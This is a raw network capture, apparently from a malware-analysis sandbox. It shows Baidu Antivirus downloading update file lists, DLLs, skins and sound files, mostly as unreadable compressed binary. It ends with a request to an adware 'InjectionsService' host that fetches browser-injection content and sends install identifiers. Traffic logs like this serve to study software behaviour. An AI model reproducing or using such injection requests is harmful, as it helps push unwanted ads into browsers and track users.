ETag: "6d223ff-16d-516fb6adca240"

Last-Modified: Tue, 26 May 2015 12:39:29 GMT

Age: 1188480

Accept-Ranges: bytes

Ohc-Content-Crc: 1866200966

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'...3...........`......................KW. ..[.c....Pgxw..u..Q.?.,
....a..c..y...n`B..../<.c4..#.dQd..J_n..8..,/...\a..f...bH.mj7.1;..
.$L..[....6....i.....H...G....B.b.P..\g.j....pd.M....T...S.-...D-z..u.
J..........i`.^..*y....~....#4.........6.M?19..M5c.....^e!............
......#....]......\.......O.....!.b.a.v.b.h.C.o.n.f.i.g...i.n.i.......
..[T........ .........

GET /5.4.3.147185/baidu_update/FileList.xml.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:37 GMT

Content-Type: application/xml

Content-Length: 73170

Connection: keep-alive

ETag: "6ee60e3-11dd2-51b4b2a04ad40"

Last-Modified: Mon, 20 Jul 2015 09:28:45 GMT

Age: 76819

Accept-Ranges: bytes

Ohc-Content-Crc: 1645912722

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...<m..V.......\..........r.w........3.a`.....f...'D.$.."8..S.
..5..Xn....W.J. '....r....^......yK..(..oWNw~.*Y...$F.*A1.r.p.......N2
h..vV......|....P..C.U.......eo,.>](..s"..q(......;.3<..,... vi.
...........;kNe.!.^.C~.@..0....Rq......y*......j..2.:_A...H....u...W!.
..N..F...q...|.7.1_........ .D.$..m..bu;^....~.a...>....q81\b..1.G"
.0..UZ./{..mL....g01....DU... ..."...M..N(....-.c...%.A..fL......*:S?.
B).&uz..;7.m.lg..QRT...f...2K..Hd..T.../#6^.."....%....g..a....._\?.Q.
%a. ...X9.Q.Ae]...PQ~) .w&Z....G.l...:.N..9:.(....%.9..."Z_*...Y......
 ..b.....B.......1E8..e....OM...........9...A......%...8.T>..o..QR7
g.G....|.5|k$....^.1_DS...U'f..@.Y{..XdV?.....Wk..6t.E......~.k.J...z&
.. .P.sSH...um.....3R#&.q]f0)....c.s..,).!.....<;.. .H.K..pS.Cc)X..
NgV..D.....Q,D..*Bk...=ra$..qL.c?...%..$oc....x...gl....W.Wh....._....
:G..InF(0.......6N../...;...{zez.2......{4=.......6.5.....4w~.t.......
.....?...e@..Y.....S...g....^...7.N....Z|V.9..Y.tmZ......b/.^......3..
[.O]..8y.....A..z..*>R!........tJ.U.n:.O..;7 Q(ZU.JR..A.....R..... 
..M......a..NF..X....`.F....{.....\a.4.n....._...Z.a.p.k....J.0.W:.8.0
.W".5..`....l../T....G8'..c.D..Y...#}..m..B=..& ............x.FA.../..
....F.u.&H....2J..(9.J.D.Ag.4!.........9.1v.J...l......m:.kg........c.
#..[..k.(.rvT.....BD...:F.b...V.....Z9k?.L?go.I.~.X.7}.[..=......$T.."
}.!=.....#.2R........J....q]-...N..c)p&......f.Pa.F....N..De.e).Q...tm
j."V.K;.D9..m....R..D@.s.8...z..w{RG.X.'.j..W;....X...Dv...^sk.mn....V
>....a.*.NC..G..E|X..=R....<x...#y.R[t....)..f.f/{V..O...1u.<<< skipped >>>

GET /bav_module/2015.06.24.63/FileList.xml HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:38 GMT

Content-Type: application/xml

Content-Length: 879

Connection: keep-alive

ETag: "51307ff-36f-51bd54ef1b280"

Last-Modified: Mon, 27 Jul 2015 06:17:30 GMT

Age: 693524

Accept-Ranges: bytes

Ohc-Content-Crc: 122964224

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<FileList>..<
;SelfCheck Size="0x0000036f" Md5="0x4DDC10746D78CB9BFFCB5057E6902D29" 
/>..<ModuleId Version="2015.06.24.63" />..<File Name="Plug
ins\IPlug_Scan\IPlug_Scan.dll.7z" Size="0x0002748a" Time="0x01d0ae550f
e9a84f" Md5="0x37a7b2c8eec5f87f32b1319b6a107069" DcSize="0x0006f5f0" D
cTime="0x01d0ae4e6f8c68d2" DcMd5="0xed5c5f90cd146c40f0936d398a6c04c9" 
/>..<File Name="skin\plugins\Plugin_Settings\res\skin.xml.7z" Si
ze="0x00001e88" Time="0x01d0ae550ff42fe4" Md5="0x7366c13b834b6c73352ac
2d5ac3a81c3" DcSize="0x0001147d" DcTime="0x01d0ae43b10d82bd" DcMd5="0x
5e71663e2ba1de50ce61a9d42d943655" />..<File Name="skin\skin_bavu
i_frame\skin.xml.7z" Size="0x000037e7" Time="0x01d0ae550ffc948b" Md5="
0x2c2265d3c52d0c774f621e09757019ac" DcSize="0x0002113a" DcTime="0x01d0
ae3a6f916426" DcMd5="0x5f473566d8810e0e880d9790ef3ce0f2" />..</F
ileList>....


GET /bav_module/2015.06.12.57/FileList.xml HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:39 GMT

Content-Type: application/xml

Content-Length: 596

Connection: keep-alive

ETag: "823a168-254-5187478c4f540"

Last-Modified: Sun, 14 Jun 2015 06:30:05 GMT

Age: 755577

Accept-Ranges: bytes

Ohc-Content-Crc: 289283868

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<FileList>..<
;SelfCheck Size="0x00000254" Md5="0xAB6BE4DB4D6F45FF2595C87BC9A13B2E" 
/>..<ModuleId Version="2015.06.12.57" />..<File Name="BavD
d.dll.7z" Size="0x0003a130" Time="0x01d0a4cdd9e30520" Md5="0x047c0918c
f0604265ebb99911ea14711" DcSize="0x000d6ff0" DcTime="0x01d0a4cc651f3d4
1" DcMd5="0xffdcbb3eb5701069e89a06df7ab1d18a" />..<File Name="Ba
vVM.dll.7z" Size="0x0002871c" Time="0x01d0a4cdda5e9dc0" Md5="0xc058ffe
4217a448db6c084234a118c33" DcSize="0x000a43f0" DcTime="0x01d0a4cc5eaa6
502" DcMd5="0x58807b66970baad121e6b558c10cf720" />..</FileList&g
t;....


GET /bav_module/2015.05.19.47/FileList.xml HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:39 GMT

Content-Type: application/xml

Content-Length: 392

Connection: keep-alive

ETag: "73b4050-188-5166aac807f00"

Last-Modified: Tue, 19 May 2015 07:58:20 GMT

Age: 601146

Accept-Ranges: bytes

Ohc-Content-Crc: 2523777786

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<FileList>..<
;SelfCheck Size="0x00000188" Md5="0xDC4DC80BA584C852E93DCBD1AE9188AE" 
/>..<ModuleId Version="2015.05.19.47" />..<File Name="BavS
can.dll.7z" Size="0x0001a02b" Time="0x01d091e2138c4c40" Md5="0x33233d2
7afc917ace0a2f6dad85ec61f" DcSize="0x000433f0" DcTime="0x01d091df997a1
df0" DcMd5="0xee988b174e496223e382ac92be1f7e5d" />..</FileList&g
t;....


GET /bav_module/2015.05.11.36/FileList.xml HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:40 GMT

Content-Type: application/xml

Content-Length: 396

Connection: keep-alive

ETag: "72020d6-18c-515f2b22b3bc0"

Last-Modified: Wed, 13 May 2015 08:49:59 GMT

Age: 1116512

Accept-Ranges: bytes

Ohc-Content-Crc: 3678960022

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<FileList>..<
;SelfCheck Size="0x0000018c" Md5="0x04385860E0695ABA423ABE538183CBE7" 
/>..<ModuleId Version="2015.05.11.36" />..<File Name="Avir
a\HBEDV.KEY.7z" Size="0x0000025b" Time="0x01d08bca6a57c4aa" Md5="0xe52
745143a7eec9b23ddce0c503e8950" DcSize="0x00000200" DcTime="0x01d08bca6
9c60bfa" DcMd5="0x3a1e7b7a1b82f9a67b4a9212a2fcd3db" />..</FileLi
st>....


GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4G.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:40 GMT

Content-Type: image/png

Content-Length: 1419

Connection: keep-alive

ETag: "51307f3-58b-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1111964

Content-Range: bytes 0-1418/1419

Accept-Ranges: bytes

Ohc-Content-Crc: 646586701

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...l.|.........V.........m..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].WJ.r.R..5..ai..[.M..dVk>...a.GL....b-.......
./..........&i...T{.(|fO.V-.......?m.....R..\.n...........u../....D&..
q..s.JS..n7.e...g.{..............E..>v3..e..x.2-.......>....2..@
ua.".......%.......z.}.g.#...;w........*.w.....9.V..v.(..w.Y....Ee.0..
......'............&.....6...8. ..BW.L.BE... ..UW....Mv9......j:BC..`.
...ry...`\...t(k .......x..&..U.fW..` j..J.?YB......'......(7......O..
p.....Np1..E#.m..O...]S,n...t.}....*....:....Cz#r.F`(..70~...9g.V2..n 
6...U...%..e2Ks.. .u.....V.....Z.| kB>.8D...|Bh.u........R*.r...%..
#\..{.'.E^q2......=.....X.......~....4.K.,..<...E9~.c......_.=' ...
..'....U...h..s.....M$.. ....2..j1.....}vN.U..yc...q.p.!qA..#(N..$..90
.....":....=...\hm&g..Va..;.j/......GR&.e."M....T~.......N#N.K......~G
..D.X\B.^D......9.\.. c.zE.6.yD.[E_2......D..............Hu_.F.. ....u
~......=..v.]//....I./K..Y..|*.S>.... E...J.l.a...DZ......<.|...
]B....l.O[k..^[p.5.4..m.F&W.W...............#....]............n4T.....
..i.c.o.n.4.G...p.n.g.........f......... .........
<<< skipped >>>

GET /baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4N.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:40 GMT

Content-Type: image/png

Content-Length: 2192

Connection: keep-alive

ETag: "51307f5-890-51826eea26fc0"

Last-Modified: Wed, 10 Jun 2015 09:59:35 GMT

Age: 1111893

Content-Range: bytes 0-2191/2192

Accept-Ranges: bytes

Ohc-Content-Crc: 2178836322

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...DY&.........V............D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..=-?.1..3.
.....!....(..........].WJ.r.R..g.9...dFz.Q&w_....S..B.......1Y.....UW.
.X3.A....>.fG. r1..wE.DN../8..".J..Zs...i.......r.j.p4....H..\,*..=
.s).6....O:....9J.z.....HR....O Ds.....2-...l..Nu..qm'Iv..k...C ~.....
.x..L........H....@.zA...".....e.t...9DQ..F.../;.....:..rH_S.....t...!
J..O..3.8...qmnK.a]..M....*2W.S..1.'..$.o...z.......K..[Dw|...:.\...e&
gtq.Vf....R?.J...J..1\...t......O_..N.EED...aS.H)../2.....z.=...'u....
.C..._V....).E..%V.?.........h...._..'z.H.xDj=...A.'k;\G.......R..M..g
....4..D.N...A..RW...&....j.R...K..f./.>..4.....`...f..[..6@.'PX...
b.J...e.6=?..../.g.8.HFj...,...... ......,T.ca...U.....vj8...}...m2..h
...DsE...k...JmV.y.Z......TB.*P.wl(.iM.4.../.~....rm.....]..X..o.....$
...=..jqM....%.....zs...t5.NB..r-"r....l..|.....i. `.#..O.M..\....~..F
.....c~..)..!.....V),.........9...~...:;...~...?3....g.=..6.O...b;....
./h\*DB..i..<w..`..);.5.y.%.K*...rb..u.<v....#..7....H.:.Jb)..N.
.$..t..`XL_...j...w....1:T(.A*N2.J..Q.w...e...k.g.n...\=8.....|.......
.k..R:.W.S.3.q9@...n...f.=H.{.....z......H*.x.!(c#J=.l.......u..Z#@.!.
...Z.. .3.4.q.O..T.....o......f...|"...l.>.a.6..K-....8Wk.*..Ih<<< skipped >>>

GET /5.4.3.147185/baidu_update/bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:42 GMT

Content-Type: application/x-msdownload

Content-Length: 498150

Connection: keep-alive

ETag: "6ee6089-799e6-51b4b29f56b00"

Last-Modified: Mon, 20 Jul 2015 09:28:44 GMT

Age: 74271

Accept-Ranges: bytes

Ohc-Content-Crc: 3949040280

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'.......*...............[....&..p.........../D.N..iO...T..w{...]..
s...R..}.;W.^..HN.g..2.3........t..#Ft.4..2.5...\..f@..gJ.yA.Xk.l.1..Q
...'e;.I.....]\.o.....%...(.r..J...^:.{6.Y...nI......'.j...R.C..J1....
y..nf..0m.$...a.*^{X..!M....b.N.......\......Y.O..J.N.A..\h..gB.4..n..
>..x#..e^%..et...o..y...dF.u.MN.T...1..z.g.$.S[A..`.\(G\.r......P'^
.....P.i....[S.$K.h.H.....z...a.....{...Qu....5t~.~'.....i...E...`-w`.
j......l...........r..#^..L$....rA..:7.^..xZ......w.;.E....k!).R.x.A..
. .....].........j.mv..c...9.}K.<C......)....o-.....&[/......iz....
.......$rD&.QZ.....rR......m..V.V.$...3Quj.rL.-W..4S.s.h,GO....K.&.}..
2......v..V.......o&k...4N.F]3X..C-..5d....!.(...E..O..9.U ....HQf....
.L."..J ..*.t.Mis.0H.~...Gq\.V....3 ..w?._....^@m{.*.....N.._8./...%..
.B]?Mf....w.."...uG{..7S.hs.d.9|..........u.i.d......)#Ss..(.B........
.9D.Q.V....k2.C~..-....e^.Mm$[(.~.W..@...x....cd...sx..g...oP..BB[...-
.......q.j...vG..y@2..P.@sL...d.L.w%Py.u..B...pd.....C...;.....y..e}.R
..W;E......N@[hT.-..muoT2.....-.....!.#...r~..*.'q.{vt.&..../.....Q...
q9....l..!t.k.l;..>.{.........'\n...8.RR......4K.......^6...:u..&. 
..I! W..oz..?<5.Q....R..I...q....[..8......r.o.Y..V.gh[`....Z$.0.5.
H7e>k..j.....#..]u.......@4...|...!=a...;.......^..&.%n........-H=V
K"X...}...(8L...R..3Z.....BU9..@.._fl...@..XHaS-.>>y...C.!..4. .
..z.:/7.H..u;.K...<.]dZ.bb....M ...........jOS......Z.k....p...ey[.
:...."M.OlR..4..,c...c3dLE........Ef.........<=.)..}R.i.v..A....Y.B
T.B..uU....lx.0...Q.FT.....5|m...`.k.#..;.{...}]....!.......c..R.E<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_0.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:52 GMT

Content-Type: audio/mpeg

Content-Length: 46480

Connection: keep-alive

ETag: "6eea216-b590-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 74038

Accept-Ranges: bytes

Ohc-Content-Crc: 1711374016

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...............T.......y..|.$..^.....YF1..W!.z.;..;...g8..$7...Y.
N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L...
.0$..,.S...[....1......P....F.'..3......>.V...K.R.Bx....%...|.....o
.l..{,..[.F.4w.c7.bk6..Zr].I.....c....f8...MS..#..M...D.h.B....~`....G
,....zxw...q..e.n.~5...V....Z...i...f...t.....-Qr...N.4..p~#..*J....B.
..y......Y......'0..; ....%....~.x.]._..8.(.......H.G.....d.Q.u &.....
.@..QOc]...,."........>..\. .`.[X.X}..{,.o.7v."t.....F.lL..}!G .`C,
...Z.p........^..N.Pm.%....Dc.Y'......j.:p..}....=.e......?e..H..nQz 4
...B.../l...:.....LN...7...y....r....s..y(.XP...J.._sv$..Q1x...>6E.
7..)..r...L^FV...w.......y0.=.....B.?....z.....U..L<.x...y...nvM...
..T..C<w.L.....tI.Z;....K.......0`.[.v.w~......y..t...?H.[..u...;..
....E.#........1.m.9F_..Ez..-S......$U..y....a.16Q..j.V..... ..^f.c...
......h.`.C..c..."n`o..F:'#D..B.`..@u...us&....4../.b.. Cq%*...~.K....
.....@QI..d!.X..........W...-...V.\.'T_...b.P-.2...R...g..4...%...`w..
.~.Q..D..U.xG........"..Y.A....u-..O:F..J#8H...._?.k.'..ZGE.Q..E..|[..
.w..o.U...........X.......K..8...0.N...O...f.sI=8h......}...#'.x.X....
...A....i..j.{.(....IF/..s?.......m{.)......d.......q.^..s.m..... t.EO
@.....s.1m.T..A3@.B.R../...mM.P.(.]...js. .L...aG.M....Zo%.!'.3*.g..S.
=......szw.....`.....k_.....Bpm\...].X.\.c.).....)......J.k'..@..-....
..lS...0...,..........K......J:...V...Y.<....6..9E<.......*G.$.I
Y.Zp.p...;d.`...=.5}K..s.Y.S.&.8.Y......[...r.....Hfi.. *..]..C.}u...t
.....X........^/g.2....Ysn......d...........Z....X..c.z.N..J..q.j.<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_11.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:55 GMT

Content-Type: audio/mpeg

Content-Length: 64427

Connection: keep-alive

ETag: "6eea21a-fbab-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 73924

Accept-Ranges: bytes

Ohc-Content-Crc: 611354213

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'.....t.5.......V.........]n.$..^.....YF1..W!.z.;..;...g8..$7..|Y.
N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L...
&..i.._..L.#..u.".........<.q.... fC./&..s.y.....K."..W..m.J.......
.L.). ...@.7..&.S...]...D......U.>X..9..yq...,....^..Gh...(I?.O...6
..Pf...c.D.....(.....F.v....(..%....q.(jI.wg4y{y&W.DB.&......s..*. /.-
7...g...l.-..8w_. >.;y[.kY......L...0......Y......^..'XOh...N..|H..
...._.t}o[..T...NU&.nQ..V....'.."k.`..c.k.|/O...l_..~.z......1^.......
.`.............I...a.a....]..~k..wbNc./..G.....{....c..?....W..i.F...l
.U_....wf.A........g.."[.4..&..$.. ..^U....y......Z.T.s.kwj.&...=.$.b.
/..nO`.Ia.x.....O^G..S.!@V....7."s.mrY.ow...*..<K......r.MD...I'0.A
P...{IY3.LR.......o..?..)......eG...-].Y@...$W.....?{P...7.....d......
...aG..)?.}.p...r...'G.3......N..3......\A.>.]R;x'k{B.........S8.w.
Y<'..R..r...FC.V.....'...@wj ~..'.8..I...Sw...5I2b...t...|.#.7.W...
.....V.......V......M.iN.=...C...h...{...4..{!I..Y.iI.......J.A.0.....
..zv...6..g.Lm..p'S..... E......$.Hn|2...r.|G...._^.)...#A...-.....u..
..u..C.4BqV.&\n....._B.}...5:.|E.-..8...p&.%0.4...#..-'...Y.3<Lu.K~
l7>.]:bJ..x.%.........w..9.o..K7..Z...l,...h..$ ...M...e.!..mm...L.
..........R.!..;.n....yi.!.Up.J..(.M..U]..I!P| .N......q.....(.@....pw
..q.. ....0y.....xo6".h.C{.S....{.(.8...5..........{......do.A.h..&)..
#E.... .(x....L...Ld..$...y.B....8.iw.~..'...qV}..L#..T.L<..,.[....
..$.o.'.."......|...@"qo.:G...{..htvR.F&...1.]....2..H....k-.N........
...$=..\...................i[.J)-..u.dr...B.W.)%{6........)@.._...<<< skipped >>>

GET /5.4.3.147185/baidu_update/sound/1046/1/BD_8.mp3.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:57 GMT

Content-Type: audio/mpeg

Content-Length: 82549

Connection: keep-alive

ETag: "6eea21e-14275-51b4b2a13ef80"

Last-Modified: Mon, 20 Jul 2015 09:28:46 GMT

Age: 74274

Accept-Ranges: bytes

Ohc-Content-Crc: 1787008602

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...D ...B......T........0...$..^.....YF1..W!.z.;..;...g8..$7..|Y.
N.V.K8'A.]7.C".=(......iet.1...z.?.y..H&-..)....F):......Q........L...
...-.....q.....6.M.60..E.....".... ......|.>..-.s&...t..Aut..k.P.*.
1f..?g.frdc.,e .p.4..../.Y.}`.._%....3.h..:e.\.c.k.*e....J....._..1...
1Y..l,....Iq2z{~;.%.0.DMo.1.t.g!.#3.....dh.u.."...EX=......;V.J.J..SI.
.[&C....4 ..U9..F...X.............<..n...V.~...lu......j...G5...C..
......=A.. ..C............*.>..3]........b...V=.a..~..2....1]...4..
Ig.S$..Pvh...<.......>..ip.&.L0..C..{..c.. ....~..ý.D.*.......
....k.*>.\.....6.....8`L"S.gm......r(..}.......P.. rH..(..d.P._!...
......1%M...I..P....\..P..7..FP..i........Xu.....S..~l.7...>NMw..*B
V.E.Y...q.G..o...<_.B..@.....M.H..0.j.Vt%...y.q........;M...0.....M
....(....?9.#....S..4.7#m..>%....X......'..,....W._7.|.=..@K...,.%.
.`....... ."..................j{.X.@T4.....E]. ..ZZ.....Z....C.>...
....AC.....%.b...Y...."..@M.3...FwKo..j.!..X.R.p...T}......m,#.>'?.
.d...ff..WI.A<e.j.>..........`.....\......2I.'...C..x..-N.....!.
.p........L..b....d......Ka....`.&..e.!~J;.P...g5z.;...(k........j....
....^...t.?.NM..b.'..t......g|0.Y...4>.....>h..F.h...A..~.f.....
....../R...w........|..b..[tP......Fp.C..e.4h.Q..8.2f.i..}.X....eA....
i..."\EW....SW....G...}N|.>.rI.Z.N ...=..D!........>d.l...O.9.W.
.C29..U(..h...X.......8 ..}YC.nN....,....o.. ~.Vz....Yok)k..c{...Qb,.o
.h..N..*..'.?.....&...B.s...9...o...$.....9..,.2.....A..x...4..S..IB..
1..:..<.......Z}I.*,xq.@M.}...*...k^3.......e..s...$....V...!..<<< skipped >>>

GET /bav_module/2015.06.24.63/Plugins/IPlug_Scan/IPlug_Scan.dll.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:05:01 GMT

Content-Type: application/x-msdownload

Content-Length: 160906

Connection: keep-alive

ETag: "5130803-2748a-51bd54ef1b280"

Last-Modified: Mon, 27 Jul 2015 06:17:30 GMT

Age: 693819

Accept-Ranges: bytes

Ohc-Content-Crc: 3105829699

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'....',r.t......j........,...&..p.........../D.N....LE .f....E..g]
].. ..j5}..5...lX..^.c>1".B....;...8...........c'a./...{..c,.n7.!R.
J..8?{.I~*........%.....n..z..`.@yM.i....0.?b...r.f2...".fG<.P.....
.xd....p%.@......... 0.&s.F&|M8.m...Y.??c..........Z.9...lZq)^...*..V.
Fq..s$.YL....,.v ..`..1.M.(.}~<........o.dHS..l.>].!`&]Qc.o..Y..
...W&6...\NH.......!=..E....d4..u...U.y@.K_Q...j..2n.49R.J............
..S.z......yt.;....S..$.>K...@....t..h-..[X.4uyJ..1..s..I..E.j>s
k.{..D.:.j:..g.V.....V..H.4M..qh.N..Q.'a......o^...q.I...j.L1]g8..f._.
&/..6......'..=2:...K8....<...`{.... 9.e.u...B.]A.#....#...V.......
y 0..[.xe...hK...&.1. 3...$.:s7.|u.7@.;5.oH....8....n..Mk` ..VH.....E.
:..A.N.........6.(...0'..t3.......2......A.Z,..-x..7..x6.....bta.o76..
.4..X.n........(.......W....*........r..<.....7#...U.......Z..@>
.....'..@...X .C.....@....cb.....f.T.~..5S.......1......o....*z.g...6.
.L)}..w..O.~....z..Kl$[.....7.w......E........u....%...jW7.@..l..,....
R....(...%G 1.6...\.-.1.....f....y...G. ....3N0.`.zp..o.j......#..2E..
...N..IV..A...i.../>...9.|....N...|Kp0~v.-....\..heh...~...|\.L...Y
.*..Z.<..........\.......gb...I.^.*(e84A.^1...]..Po..Y.O.....:.....
.6]SO.O.....$...;].....e..'i...miGe.(.2.o...:U...gt...B._q.=C....y,9..
.R..o@0#..,`Q.......s.Z....>...e:.0z..P....C.j.&...6..cq..5.Vy.*...
.t.. [].hV.*.@w...c;..JFK;........N....E.O.{u......K.Ec.m~.)GA......w.
.@.. T..a.M#0(T=..X.)...W~....\...[..(...-.z.0.x.T....i.....y....BA...
...S..!..U..BOX.q.L/.. M....Dc.eL....bA.=....x[.$VEMK..{.q"L#....T<<< skipped >>>

GET /bav_module/2015.06.24.63/skin/skin_bavui_frame/skin.xml.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:05:04 GMT

Content-Type: application/xml

Content-Length: 14311

Connection: keep-alive

ETag: "513080c-37e7-51bd54ef1b280"

Last-Modified: Mon, 27 Jul 2015 06:17:30 GMT

Age: 693778

Accept-Ranges: bytes

Ohc-Content-Crc: 3194625661

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'..... bt7......S..........^.w........3.a`.....f...'D.$.."8..S...5
..Xn....X...g..}....T....MK..}.s!~j9n4...&....r...?y.%..W.N......A..0.
.......:,.KuM..X.ww...(.r........_......uv.....]...y.......l...0...d..
.k.>.A...Q.n..P6x.5....:.....L.m..wO....|..y..-..O.aMO......|....OD
.G..;.\...{.......f.3#...d!.;v.3r4J5.....,..S?.-...v...%.]l..f@e...u..
...>8.........Na......j....\v.o..MLrb.l.G.!.2.......wa..D=.R.u....^
I...z.......oJ...d.@...?E.2.w...z../az^.....8.c...............}....-.q
.............a7.......P.~...y.....).....(...hkK...^Q....q..8..u*.D..._
h.......@}.k..n...y.....CO..S...&j.k..}5#..L.R..o./.?..........(.}..Yq
s..{....0[.)....8..~.>.6..F6.Uz2....Z...t..$>W.g.....Dtg..U....}
.........}.Z*.-6-..M.....o..i.F.t.m..rL..Z...Wl.YYbV...9/........:...|
...6>..71..q..j....2.....>8W...wB...%K..2_.......j..2....%...O$.
.......])...Bgu..E.x!....Z..4u..0..G ..Y..G..X..^..<....._.P.......
m..F..T..7.!.,RM....N.X2..i.yV3/j.......JSY.TV)..(...k...L...... ...Hg
v..j.1.....R.g......#....y.....w..\..8....f....n.-..d..........e BGC..
.....HJ.:8.(a....9.>>..'.M..PS@.[.........6._......9..N.usrR....
.s-6...Z....$...,s......a...C...Nij.64!...1JQ.r.rI.*.?.jv!.KBI........
..7S..2.J...z...}./.k.W%....#=."..|....eg..VL...g.r&...n9h..h.....F..1
...........F.G......v....Qm..Bj.J7....P)N..zK.UG..O#......I>j...Y.E
...'..H..[...m.6...D..H...Q3......}..a..Z./;.....K_;..}.[z<v..).l..
Y.......Ng..P.@..9....Kn.....L......n......&#B\..v...h.....N~X.....K?Y
5.....P@.sm.}..|g..e.n...G.i.L....=%...Q{/..%.BJ.."..m.o.p.....YN)<<< skipped >>>

GET /InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_on HTTP/1.1

Host: inj.shoppop.net

Connection: Keep-Alive


